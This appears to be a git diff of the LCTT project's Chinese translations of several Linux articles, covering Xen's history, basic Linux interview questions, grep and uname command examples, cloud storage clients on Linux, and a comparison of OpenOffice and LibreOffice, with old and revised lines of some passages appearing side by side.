到此为止,鉴于这个系列的最新的这篇文章的成功,我将会尽快推出另外几部分文章继续**鲜为人知的Linux命令**。到时候敬请关注Tecmint.不要忘记给我们提供你的**反馈**和**评论**。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/10-lesser-known-linux-commands-part-2/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.tecmint.com/11-lesser-known-useful-linux-commands/
[1]:http://linux.cn/article-2258-1.html
[2]:http://www.searchsv.com.cn/showcontent_77595.htm
[3]:http://www.tecmint.com/history-command-examples/
[4]:http://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/

View File

@ -0,0 +1,50 @@
Xen的十年从恐龙进化到鸟类
================================================================================
Xen Hypervisor 项目原来是上世纪90年代末[剑桥大学][1] [Xenoserver][2] 项目的子项目。Xenoserver 有一个宏大的目标:
这个宏大目标就是建立一个大规模的分布式计算系统的公共基础框架。想像一下,当 Xenoserver 执行平台布署在全世界范围内,所有人都可以共享可执行代码,代码贡献者可以按代码被执行时产生的硬件消耗收取一定的费用。这将会鼓励负载均衡、消除单点瓶颈,甚至可以在这个平台上实现营利。
在今天,这种模式被称为“云计算”。而 Xen Hypervisor (确切来说是现在的 Xen Hypervisor是最大的云平台。不仅亚马逊 Web 服务AWS和 Rackspace 公有云是基于 Xen 的,就连最近的大规模云平台[Verizon公有云][3]也将 Xen 作为他们的服务供应基础。
### 10周岁生日快乐 ###
2003年10月21日Xen Hypervisor 在[第19届 ACM 计算机原理研讨会][4]上作为一个开源项目首次出现在大众眼前。距今已经10年在这里祝 Xen 项目生日快乐!
### 业界第一的劣势:像恐龙一样,不适者淘汰 ###
有时候在自己领域内成为第一个开源项目是一个劣势,为什么这样说?缺少与同行的交流会导致项目失去控制。简单的例子是,缺乏竞争会引发自满情绪,而这种情况已经在 Xen 项目内部发生了!开始几年 Xen 项目未受到任何约束,变得狭隘,不再寻求突破,致使用户和开发者不再对它感兴趣。当它的第一个竞争对手 KVM 出现并壮大Xen 社区甚至对此反应迟缓。
这种反应带来的后果是,用户难以加入这个项目,并且这个项目不能很好地与 Linux 内核、QEMU及 Linux 发布版共处。然后Xen 社区名声变坏。然后Canonical 和 RedHat 抛弃 Xen投向 KVM 怀抱。Xen 项目向这个不断改变的世界宣告了自己的失败。名声不断变臭,到后来它被视为开源社区界的恐龙,被彻底淘汰只是时间问题。
### 快速转型:从恐龙进化到鸟类 ###
像 Xen 一样能够从众多错误中回过神来的开源项目并不多,而 Xen 通过一系列措施做到了这一点。提出有效的管理方法、努力与其他开源项目合作、重启市场营销力量、踏踏实实与用户和开发者一起工作,这些努力终于让 Xen 获得新生。换句话说Xen 已经完成从恐龙到鸟类的进化。如果你想知道我们是如何做到这点的,何不加入到我的 Linux 大会欧洲站的课题[Xen 项目:收获的教训][5]?其他你可能感兴趣的课题还有[加强你的 Xen 云的安全][6]和[Xen专为云设计的开源虚拟机管理程序][7]。
![](http://www.linux.com/images/stories/41373/Xen-flying-Panda.jpg)
*展翅高飞(或者说,给 Xen 这只行动缓慢的熊猫插上翅膀)*
### 展望未来:虚拟化技术的新领域 ###
如果你正在搜索 Xen 项目,你会发现它的社区形式多样并且还在发展。从很多方面来说,它甚至比从前巅峰时期发展得更好。
现在 Xen 社区正在发生一些有意思的事情,一些 Xen 项目下的软件被用于非传统虚拟化技术。这也相应地为 Linux 社区增加了企业用户。在本周晚些时候开始的[Xen 项目开发者峰会][8]中我们将会见到两个安卓虚拟机如何运行在基于 Xen 的 Nexus 10 中,也会见到首次将 Xen 用于车载信息娱乐系统以及汽车应用系统中,同时我们还能见到 Xen 如何为诸如防火墙和NAT服务器这些中间体提供高性能应用。
当然,服务器虚拟化和云计算还有很长的路要走。展翅高飞吧(或者说,给 Xen 这只行动缓慢的熊猫插上翅膀)。
--------------------------------------------------------------------------------
via: http://www.linux.com/news/enterprise/cloud-computing/743330-10-years-of-xen-transforming-a-dinosaur-into-a-bird/
译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.cl.cam.ac.uk/research/srg/netos/xen/index.html
[2]:http://www.cl.cam.ac.uk/research/srg/netos/xeno/
[3]:http://www.techweekeurope.co.uk/news/verizon-public-cloud-launch-128724
[4]:http://www.cs.rochester.edu/meetings/sosp2003/papers.shtml
[5]:http://linuxconcloudopeneu2013.sched.org/event/68003c370760bcc2da7e3e8b59b6b50f
[6]:http://linuxconcloudopeneu2013.sched.org/event/37ecfe02561cf264a02061d1927da26c
[7]:http://linuxconcloudopeneu2013.sched.org/event/bdca1274d9799646cdf2934dbde94ccd
[8]:http://www.linux.com/news/software/applications/742053-a-great-line-up-of-speakers-at-xen-project-developer-summit

View File

@ -0,0 +1,89 @@
11个Linux基础面试问题
================================================================================
### Q.1: Linux 操作系统的核心是什么? ###
- Shell
- Kernel
- Command
- Script
- Terminal
> **答**: 内核(Kernel)是Linux 操作系统的核心。Shell是一个命令行解释器命令Command是针对计算机的指令脚本(Script)是存储在文件中的命令的集合,终端(Termial)是命令行接口。
### Q.2: Linus Torvalds 都创建过什么东东? ###
- Fedora
- Slackware
- Debian
- Gentoo
- Linux
> **答**: Linux Torvalds 创建了LinuxLinux是所有上述操作系统的核心同样也是其他一些Linux 操作系统的核心。
### Q.3: Torvalds使用C++语言编写了Linux内核的大部分代码是这样吗? ###
> **答**: 不! Linux内核包含了12,020,528行代码其中注释占去了2,151,595 行。因此剩下的9,868,933 行就是纯代码了。而其中7,896,318行都是用C语言写的。
剩下的1,972,615行则是使用C++汇编Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed等。
**注**代码行数每天都在变动平均每天超过3,509行代码添加到内核。
### Q.4: 起初Linux 是为 Intel X86 架构编写的,但是后来比其他操作系统移植的硬件平台都多,是这样吗 ###
> **答**: 是的我同意。Linux那时候是为x86机器写的而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着远程遥控太空科学研究Web桌面计算等等举之不尽。
### Q.5: 编辑 Linux 内核合法吗? ###
> **答**: 是的内核基于GPL发布任何人都可以基于GPL允许的权限随意编辑内核。Linux内核属于免费开源软件FOSS
### Q.6: UNIX和Linux操作系统本质上的不同在哪里###
> **答**: Linux操作系统属于免费开源软件内核是由 Linus Torvalds 和开源社区共同开发的。当然我们不能说UNIX操作系统和免费开源软件FOSS无关BSD 就是基于 FOSS 范畴的 UNIX 的变种。而且大公司如 AppleIBMOracleHP等都在为UNIX内核贡献代码。
### Q. 7: 挑出来一个与众不同的来. ###
- HP-UX
- AIX
- OSX
- Slackware
- Solaris
> **答** : Slackware。 HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的并且都是UNIX的变种. Slackware 则是一个Linux操作系统.
### Q.8: Linux 不会感染病毒吗? ###
> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以迄今为止病毒数量少而著称是的甚至比UNIX还要少。Linux榜上有名的病毒只有60-100个而且没有一个病毒在传播蔓延。Unix粗略估计有85-120个。
### Q.9: Linux 属于哪种类型的操作系统? ###
- 多用户
- 多任务
- 多线程
- 以上所有
- 以上都不是
> **答** : 以上所有。Linux是一个支持多用户可以同时运行多个进程执行多个任务的操作系统。
### Q.10: 一般的 Linux 命令的语法格式是: ###
- command [选项] [参数]
- command 选项 [参数]
- command [选项] [参数]
- command 选项 参数
> **答** : Linux 命令的正确语法是, Command [选项] [参数]。
### Q.11: 挑出来一个与众不同的来. ###
- Vi
- vim
- cd
- nano
> **答** : cd 与其他命令不同。Vivim和 nano都是编辑器用于编辑文档而cd是用于切换目录的命令。
就这么多了。上述问题你学到手几个?效果如何?我们期待着你的评论。下周,会有新的问题,让我们拭目以待。保持健康,锁定链接,记得来**Tecmint**哦。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/
译者:[l3b2w1](https://github.com/l3b2w1) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,12 +1,10 @@
Linux中grep命令的12个实践例子
===
你是否遇到过需要在文件中查找一个特定的字符串或者模式的任务,但是仍然不知道从哪开始?这儿是一些**grep**的例子可以给你帮助
你是否遇到过需要在文件中查找一个特定的字符串或者样式,但是不知道从哪儿开始?那么,就请**grep**来帮你吧
![](http://www.tecmint.com/wp-content/uploads/2013/11/Grep-Command-Examples.png)
*12个grep命令的例子*
**grep**是每个**Linux**发行版都预装的一个强有力文件匹配搜索工具。无论何种原因,如果你的系统没有预装它的话,你可以很容易的通过你系统的包管理器来安装它(**Debian/Ubuntu**系中的**apt-get**和**RHEl/CentOS/Fedora**系中的**yum**)。
**grep**是每个**Linux**发行版都预装的一个强有力的文件模式搜索工具。无论何种原因,如果你的系统没有预装它的话,你可以很容易的通过系统的包管理器来安装它(**Debian/Ubuntu**系中的**apt-get**和**RHEl/CentOS/Fedora**系中的**yum**)。
$ sudo apt-get install grep #Debian/Ubuntu
@ -16,7 +14,7 @@ Linux中grep命令的12个实践例子
###1.搜索和寻找文件
假设你已经在你的电脑上安装了一个全新的**Ubuntu**,你打算卸载**Python**。你浏览网页寻找教程,但是你发现存在两个不同版本的**Python**在使用,而你不知道你的**Ubuntu**安装器到底在你的系统中安装了哪个版本的Python也不知道它安装了哪些模块。解决这个烦恼只需简单的运行以下命令
假设你已经在你的电脑上安装了一个全新的**Ubuntu**然后你打算卸载**Python**。你浏览网页寻找教程,但是你发现存在两个不同版本的**Python**在使用,而你不知道你的**Ubuntu**安装器到底在你的系统中安装了哪个版本的Python也不知道它安装了哪些模块。解决这个烦恼只需简单的运行以下命令
$ sudo dpkg -l | grep -i python
@ -26,17 +24,17 @@ Linux中grep命令的12个实践例子
ii python-openssl 0.12-1ubuntu2.1 Python wrapper around the OpenSSL library
ii python-pam 0.4.2-12.2ubuntu4 A Python interface to the PAM library
首先,我们运行**dpkg -l**列出你系统上安装的**.deb**包。接着,我们使用管道将输出结果传输给命令**grep -i** python这一步可以简单解释为把结果传输给grep然后过滤出所有含有python的项并返回结果。只要你不打算详细的指定搜索方式,那么使用选项**-i**是个好习惯
首先,我们运行**dpkg -l**列出你系统上安装的**.deb**包。接着,我们使用管道将输出结果传输给命令**grep -i** python这一步可以简单解释为把结果传输给grep然后过滤出所有含有python的项并返回结果。i选项用于忽略大小写,因为 grep 是大小写敏感的。使用选项**-i**是个好习惯,除非你打算进行更细节的搜索
###2.搜索和过滤文件
grep还可以在一个或多个文件里用于搜索和过滤。让我们来看一个这样的情景:
grep还可以在一个或多个文件里用于搜索和过滤。让我们来看一个这样的情景
你的**Apache网页服务器**出现了问题,你不得不从许多专业网站找一个发帖询问。好心回复你的人让你粘贴你的**/etc/apache2/sites-available/default-ssl**文件。网友帮助了你,而假如你能移除掉所有的注释行,那么今后大家都能阅读到这个解决方案,这对你来说会会困难吗?你当然可以很容易的做到!只需这样做就可以了:
你的**Apache网页服务器**出现了问题,你不得不从许多专业网站找一个发帖询问。好心回复你的人让你粘贴上来你的**/etc/apache2/sites-available/default-ssl**文件内容。假如你能移除掉所有的注释行,那么对你,对帮你的人,以及所有阅读该文件的人,不是更容易发现问题吗?你当然可以很容易的做到!只需这样做就可以了:
$ sudo grep -v "#" /etc/apache2/sites-available/default-ssl
选项**-v**是告诉**grep**命令反转它的输出结果,意思就是不输出匹配的项,做相反的事,打印出所有不匹配的项。这个例子中,有**#**的是注释行。
选项**-v**是告诉**grep**命令反转它的输出结果,意思就是不输出匹配的项,做相反的事,打印出所有不匹配的项。这个例子中,有**#**的是注释行(译注:其实这个命令并不准确,包含“#”的行不全是注释行。关于如何精确匹配注释行,可以了解更多的关于正则表达式的内容。)
###3.找出所有的mp3文件
@ -50,21 +48,23 @@ grep还可以在一个或多个文件夹里用于搜索和过滤。让我们来
###4.在搜索字符串前面或者后面显示行号
另外两个选项是-A和-B之间的切换是用以显示匹配的行以及行号分别控制在字符串前或字符串后显示。Man页给出了更加详细的解释我发现一个记忆的小窍门-A=after、-B=before。
另外两个选项是-A和-B之间的切换是用以显示匹配的行以及行号分别控制在字符串前或字符串后显示的行数。Man页给出了更加详细的解释我发现一个记忆的小窍门-A=after、-B=before。
$ sudo ifconfig | grep -A 4 etho
$ sudo ifconfig | grep -B 2 UP
###5.在匹配字符串周围打印出行号
grep命令的**-C**选项和例4中的很相似不过打印的行号并不是在匹配字符串的前面或后面而是而是按照顺序打印出匹配的行
grep命令的**-C**选项和例4中的很相似不过打印的并不是在匹配字符串的前面或后面的行而是打印出两个方向都匹配的行译注同上面的记忆窍门一样-C=center以此为中心
$ sudo ifconfig | grep -C 2 lo
###6.计算匹配项的数目
这个功能类似于将**grep**输出的结果用管道传送给计数器(**wc**程序grep内建的选项可以达到同样的目的
$ sudo ifconfig | grep -c inet6
###7.通过给定字符串搜索文件
###7.按给定字符串搜索文件中匹配的行号
当你在编译出错时需要调试时,**grep**命令的**-n**选项是个非常有用的功能。它能告诉你所搜索的内容在文件的哪一行:
@ -72,12 +72,12 @@ grep命令的**-C**选项和例4中的很相似不过打印的行号并不是
###8.在所有目录里递归的搜索
假若你要在当前文件夹里搜索一个东西,而当前文件夹里又有很多子目录,你可以指定一个**-r**选项以便于递归的搜索:
假若你要在当前文件夹里搜索一个字符串,而当前文件夹里又有很多子目录,你可以指定一个**-r**选项以便于递归的搜索:
$ sudo grep -r "function" *
###9.进行完全匹配搜索
###9.进行精确匹配搜索
传递**-w**选项给grep命令可以在字符串中进行完全匹配搜索。例如,向下面这样输入:
传递**-w**选项给grep命令可以在字符串中进行精确匹配搜索(译注:包含要搜索的单词,而不是通配)。例如,像下面这样输入:
$ sudo ifconfig | grep -w “RUNNING”
@ -89,30 +89,29 @@ grep命令的**-C**选项和例4中的很相似不过打印的行号并不是
###10.在Gzip压缩文件中搜索
我们还要关注一下grep的衍生应用。第一个是**zgrep**,这个与**zcat**很相似,可以用于**gzip**压缩过的文件中进行搜索。它有与**grep**相似的命令,使用方式也一样:
我们还要关注一下grep的衍生应用。第一个是**zgrep**,这个与**zcat**很相似,可以用于**gzip**压缩过的文件。它有与**grep**相似的命令选项,使用方式也一样:
$ sudo zgrep -i error /var/log/syslog.2.gz
###11.在文件中匹配正则表达式
**egrep**是另一个衍生应用,代表着“**扩展全局正则表达式**”。它可以识别更多的正则表达式元字符,例如**at + ?** | 和****。在搜索源代码文件时egrep是一个非常有用的工具还有其他的一些零碎代码文件的搜索需要使得这样的搜索能力成为必需。也可以grep命令中指定选项**-E**来获得加强正则表达式搜索的能力
**egrep**是另一个衍生应用,代表着“**扩展全局正则表达式**”。它可以识别更多的正则表达式元字符,例如**at + ?** | 和****。在搜索源代码文件时egrep是一个非常有用的工具还有其他的一些零碎代码文件的搜索需要使得这样的搜索能力成为必需。可以在grep命令中使用选项**-E**来启用它
$ sudo grep -E
###12.搜索一个固定匹配字符串
**fgrep**用以在一个文件或文件列表中搜索固定匹配的字符串。功能与**grep -F**同。**fgrep**的一个通常用法为传递一个含有匹配字符串的文件给它:
**fgrep**用于在一个文件或文件列表中搜索固定样式的字符串。功能与**grep -F**同。**fgrep**的一个通常用法为传递一个含有样式的文件给它:
$ sudo fgrep -f file_full_of_patterns.txt file_to_search.txt
这仅仅是**grep**命令的开始,但是你可能已经注意到,它对于实现各种各样的目的简直是太有用了。除了这种我们实施的只有一行的命令,**grep**还可以写成**cron**任务或者自动的**shell脚本**去执行。保持好奇心,试验一下**man页**的各个选项,为实现你的目的写出一些**grep表达式**。
这仅仅是**grep**命令的开始,你可能已经注意到,它对于实现各种各样的需求简直是太有用了。除了这种我们运行的这种只有一行的命令,**grep**还可以写成**cron**任务或者自动的**shell脚本**去执行。保持好奇心,试验一下**man页**的各个选项,为实现你的目的写出一些**grep表达式**
---
via: http://www.tecmint.com/12-practical-examples-of-linux-grep-command/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -7,7 +7,7 @@
![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux_accessing_cloud_ubuntu_one.jpg)
使用这种方式的明显好处就是你可以通过使用他们各自的官方应用访问你的各种云存储。目前提供官方Linux客户端的服务提供商有[SpiderOak](1), [Dropbox](2), [Ubuntu One](3),[Copy](5)。[Ubuntu One](3)虽不出名但的确是[一个不错的云存储竞争着](4)。[Copy][5]是提供比Dropbox更多空间是[Dropbox的替代选择](6)。使用这些官方Linux客户端可以保持你的电脑与他们的服务器之间的通信还可以让你进行属性设置如选择性同步。
使用这种方式的明显好处就是你可以通过使用他们各自的官方应用访问你的各种云存储。目前提供官方Linux客户端的服务提供商有[SpiderOak](1), [Dropbox](2), [Ubuntu One](3),[Copy](5)。[Ubuntu One](3)虽不出名但的确是[一个不错的云存储竞争着](4)。[Copy][5]则提供比Dropbox更多的空间是[Dropbox的替代选择之一](6)。使用这些官方Linux客户端可以保持你的电脑与他们的服务器之间的通信还可以让你进行属性设置如选择性同步。
对于普通桌面用户使用官方客户端是最好的选择因为官方客户端可以提供最多的功能和最好的兼容性。使用它们也很简单只需要下载他们对应你的发行版的软件包然后安装安装完后在运行一下就Ok了。安装客户端时它一般会指导你完成这些简单的过程。
@ -27,7 +27,7 @@
这些一旦完成,你就可以这个脚本执行各种任务了,例如上传、下载、删除、移动、复制、创建文件夹、查看文件、共享文件、查看文件信息和取消共享。对于全部的语法解释,你可以查看一下[这个页面](9)。
###[Storage Made Easy](7)将SkyDrive带到Linux上
###通过[Storage Made Easy](7)将SkyDrive带到Linux上
微软并没有提供SkyDrive的官方Linux客户端这一点也不令人惊讶。但是你并不意味着你不能在Linux上访问SkyDrive记住SkyDrive的web版本是可用的。
@ -35,11 +35,11 @@
![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux_accessing_cloud_configure_skydrive.jpg)
为了使用Stroage Made Easy你首先需要创建一个他们的账号。完成账号创建后你需要回到控制界面选择“Add a Cloud Provider”。在这儿你可以选择SkyDrive API 然后填入登陆信息。添加完登陆信息后点击授权按钮以便给予必要的授权。然后你就可以下载它的Linux客户端并安装它了。
为了使用Stroage Made Easy你首先需要创建一个他们的账号。完成账号创建后你需要回到控制界面选择“Add a Cloud Provider”。在这儿你可以选择SkyDrive API 然后填入登录信息。添加完登录信息后点击授权按钮以便给予必要的授权。然后你就可以下载它的Linux客户端并安装它了。
![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux_accessing_cloud_storagemadeeasy.jpg)
第一次启动时。它会要求你登还有询问你要把云存储挂载到什么地方。在你做完了这些后你就可以浏览你选择的文件夹你还可以访问你的Storage Made Easy空间以及你的SkyDrive空间了!这种方法对于那些想在Linux上使用SkyDrive的人来说非常好对于想把他们的多个云存储服务整合到一个地方的人来说也很不错。这种方法的缺点是你无法使用他们各自官方客户端中可以使用的特殊功能。
第一次启动时。它会要求你登还有询问你要把云存储挂载到什么地方。在你做完了这些后你就可以浏览你选择的文件夹你还可以访问你的Storage Made Easy空间以及你的SkyDrive空间了这种方法对于那些想在Linux上使用SkyDrive的人来说非常好对于想把他们的多个云存储服务整合到一个地方的人来说也很不错。这种方法的缺点是你无法使用他们各自官方客户端中可以使用的特殊功能。
因为现在在你的Linux桌面上也可以使用SkyDrive接下来你可能需要阅读一下我写的[SkyDrive与Google Drive的比较](8)以便于知道究竟哪种更适合于你。
@ -51,7 +51,9 @@
---
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
via: http://www.makeuseof.com/tag/3-ways-to-access-and-use-cloud-storage-skydrive-etc-in-linux/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,116 @@
九个uname命令获取Linux系统详情的实例
================================================================================
当你在控制台模式下,无法通过“鼠标右键 > 关于”获取操作系统的信息。这时在Linux下你可以使用**uname**命令,帮助你完成这些工作。 Uname是**unix name**的缩写。在控制台中实际使用的时候只需键入**uname**。
当你输入uname不带参数时它仅仅显示你的操作系统的名字。
# uname
Linux
也许这还不能满足你的需要。所以你需要加上一些参数来使uname显示你所需要的信息。
以下是uname参数的列表:
### 1. 内核名称 ###
你可以用**-s**参数显示内核名称。译注可以在其他的类Unix系统上运行这个命令看看比如mac就会显示Darwin
# uname -s
Linux
输出信息会跟uname不带参数时输出的一样。
### 2. 内核发行版 ###
如果你想知道你正在使用哪个内核发行版(指不同的内核打包版本),就可以用**-r**参数
# uname -r
2.6.18-371.1.2.el5
### 3. 内核版本 ###
除一些内核信息外,用**-v**参数uname也能获取更详细的内核版本信息译注不是版本号是指该内核建立的时间和CPU架构等
# uname -v
#1 SMP Tue Oct 22 12:57:43 EDT 2013
### 4. 节点名 ###
参数 -n 会提供给你节点的主机名。举例来说如果你的主机名是“dev-machine”**-n**参数就会把主机名打印出来。
# uname -n
dev-machine
对于RedHat和CentOS用户来说你也可以通过**/etc/redhat_release**文件来查看:
# cat /etc/redhat_release
CentOS release 5.10 (Final)
如果不是基于RedHat的发行版你可以查看**/etc/issue**文件.类似如下:
# cat /etc/issue
Linux Mint Olivia \n \l:
### 5.硬件名称 ###
如果你想知道用的是哪类机器,你可以尝试**-m**参数。它将告诉你关于硬件的信息。
# uname -m
i686
i686表明了你用的是32位的操作系统如果是X86_64则表明你用的是64位的系统。
### 6. 硬件平台 ###
与硬件名称类似,-i参数会显示你的硬件平台译注硬件名称i686是属于硬件平台i386系列的
# uname -i
i386
同样i386意味这是正在运行一个32位的系统如果输出的是X86_64则说明你正在运行一个64位的系统。
### 7. 处理器类型 ###
你可以用**-p**参数查看处理器类型。如果uname无法识别它会显示 unknown 作为输出。
# uname -p
i686
### 8. 操作系统 ###
uname也可以透露你正在运行的操作系统信息用**-o**参数可以实现这个目的。
# uname -o
GNU/Linux
### 9. 所有信息 ###
有一个参数可以展示所有的信息!这就是**-a**参数,它会显示所有信息。如果**-i和-p**输出为unknown则默认会被省略。
# uname -a
Linux dev-machine 2.6.18-371.1.2.el5 #1 SMP Tue Oct 22 12:57:43 EDT 2013 i686 i686 i386 GNU/Linux
以上就是关于uname命令的使用。请敬请期待更多的命令
谢谢阅读!
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/uname-command/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,79 @@
Apache OpenOffice 与 LibreOffice 之间的抉择
================================================================================
> 这两个开源办公套件产品很相似,然而某一个貌似已经开始具有轻微的领先优势……
[Apache OpenOffice][1]和[LibreOffice][2]都是OpenOffice.org的现代衍生产品。最近几年几乎所有的Linux发行版都将LibreOffice作为它们的默认办公套件。然而过去18个月来OpenOffice作为Apache项目又重新回到了人们的视线对于这两款全功能办公套件现在自由软件用户可以进行二选一咯~
然而即使是用户在两种几乎一样的选择中做决定也会有困难。三年前这哥儿俩分了家三年时间这对于软件开发来说是很长的一段时间即使是这样OpenOffice和LibreOffice之间的不同却刚刚开始显现。除去那些明显已经去掉的过时特性单说功能集合与基本逻辑自从OpenOffice.org时代以来这两者都几乎没有什么大的改变。
纵观整个套件只有个别应用里能发现一些新功能主要集中在Writer的文字处理方面。其实它们两者之间的大部分区别主要存在于更高的层面例如对格式和字体的支持、对插件扩展的政策等更多的不同则体现在是否紧跟时代以及对标准化接口的努力程度上。
###具体各程序间的区别###
LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw看起来完全没有区别再如Impress主要的区别就是LibreOffice的最新版支持使用Android设备控制幻灯片放映除了幻灯片背景以外两者其他方面没什么不同都能很好的胜任日常使用除非有特殊偏好用户选择哪一款都可以同样在Calc电子制表软件中两者最大的区别就是你可以在LibreOffice里创建数据表单。
即使在用户最常用的Writer程序中两者的区别也很小。LibreOffice这边编辑窗口的底部状态栏现在新包含了一个字词计数器审阅标签也不再局限于某个单个点现在可以附加在配图上另外LibreOffice终于解决了“脚注无法紧靠对应文本显示”的bug除此以外LibreOffice还添加了一个简易搜索栏与web浏览器上的那种类似同时去掉了图形水平线的选项这个功能过去十几年来几乎从没人用过。
###格式与字体###
一些更明显的区别体现在格式分类与字体支持上。例如OpenOffice始终支持一些较老的保存格式像AportisDocPalm版和Pocket Word。另外它也可以打开.docx格式的文件但是无法像LibreOffice一样将文档保存为docx格式。
LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的通过“文件->属性->字体”,你能够将字体嵌入到文档中去,无需任何繁琐操作,就能确保字体的兼容性。
这样的特性使得LibreOffice在面对微软Office用户转换格式的时候得到了决定性的1分。因为通常OpenOffice和LibreOffice都无法很好处理微软格式的文档特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此如果你要共享复杂一些的文档例如宣传手册最好使用PDF格式而不是Open文档格式ODF
然而如果你确实需要转换一些本地或微软的文档LibreOffice拥有一些决定性优势。它不仅能读写大多数微软文档而且它对字体替换处理的很好而这正是文档格式转换时要面临的一个主要问题。尽管其他问题仍有不少例如在特性实现上有所不同但LibreOffice在处理微软Office文档时确实应该是一个更可靠的选择。
###对待插件扩展的政策###
OpenOffice和LibreOffice两者都能很好的支持插件扩展想要加强或替换某个特性的时候用户只需要几分钟就能下载并安装完毕。大多数情况下同一个扩展在OpenOffice和LibreOffice上面都能工作的很好。
区别就在于使用LibreOffice时你无需亲自安装那些最流行的插件扩展。相反LibreOffice已经帮你安装整合好了。例如基本语法校验工具Lightproof、数据库汇总和打印工具ReportBuilder、演示文稿压缩工具PresentationMinimizer、博客用户喜欢的WikiPublisher、还有幻灯片配置工具PresentationConsole等等。
以上这些扩展在OpenOffice下同样可用。与前者不同的是使用OpenOffice时你首先需要知道有这些扩展然后专门去找到它们这样一来很大程度上限制了新用户对很多功能的体验。因此当OpenOffice在最近发布的版本中尝试努力提供更好用的现代模板和剪贴画时这样的疏漏就成了一个非常严重的不足特别是当它很容易弥补的时候更何况LibreOffice同时也提供了自家最新的模板和剪贴画
###界面的更新换代###
在OpenOffice.org属于Sun和Oracle的12年日子里它的界面和许多的其它功能一样几乎被丢在遗忘的角落。如今的结果就是OpenOffice和LibreOffice作为套件产品都各自拥有一整套优秀的功能但是它们的界面却仍停留在上世纪90年代的水平。只有表面上的一些老旧界面被移除其实大部分仍然亟待更新。
在最新的发布中OpenOffice试图彻底更新自己的界面的努力主要集中在“边栏”上。这一特性你可以通过“工具->选项->LibreOffice->高级”打开,它被标记为“试验性”的。
边栏是一组功能集合,主要用于用户手动格式化。这一特性便于用户应用样式,因为如果用户关注在文章逻辑上,很容易忽略编排的样式。然而,最好的是,它大大简化了格式化字符和段落的选项卡,例如所有应用程序中都有的边框选项卡,以及电子表格单元格中的“格式”选项卡。幸运的是,边栏还重新定义了菜单和样式对话框窗口的概念。
LibreOffice还拥有更多的“冒险创新精神”例如与边栏类似Impress中的任务面板摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。
在Writer编辑窗口中LibreOffice的大部分界面已经完成改进窗口底部的状态栏中添加了一个字词计数器原本负责管理和编辑模板的狭窄子菜单如今也已被高端大气上档次的流线形按钮所取代。
更明显的LibreOffice中的主文本框架被精减为四个边角的十字准线。同样的页眉和页脚也默认改为不可见要想找到它们四个小直角标明了它们的边界位置点击就可以出现。
不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口中的选项卡。虽然这个选项卡事实上是为了便于手动调整格式但是让人郁闷的是当在新一页的第一行输入的时候已经输入的一部分总是会自动隐藏起来。
尽管LibreOffice还重组了许多对话窗口的选项但是这些努力远没有结束。有时开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体看起来有些不伦不类但是至少LibreOffice正在尝试着解决长期搁置的界面问题而这些OpenOffice甚至都还没来得及意识到。
###做出选择###
如果文档不超过2到3页一般用户可能会时常看看标题栏看自己用的是LibreOffice还是OpenOffice。然而对于进阶用户而言LibreOffice目前可能更有优势。优势并不算大但是很明显。
这一优势的确很难被忽略。原因首先是在LibreOffice已经确立了好几个月时间优势的情况下OpenOffice却仍在专注于管理权和代码审计这些工作也许有帮助也有必要但是普通用户更愿意看到他们对代码做出更多的改进工作。
其次LibreOffice的开发人员大部分是[Go-oo][3]的前成员这是OpenOffice.org的一个非官方分支以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。
没有人做过准确的调查但是我印象中当OpenOffice.org社区分家的时候大部分富于冒险创新精神的贡献者都选择了LibreOffice同时有一些半独立的文档小组在谨慎地同时为两个项目工作。
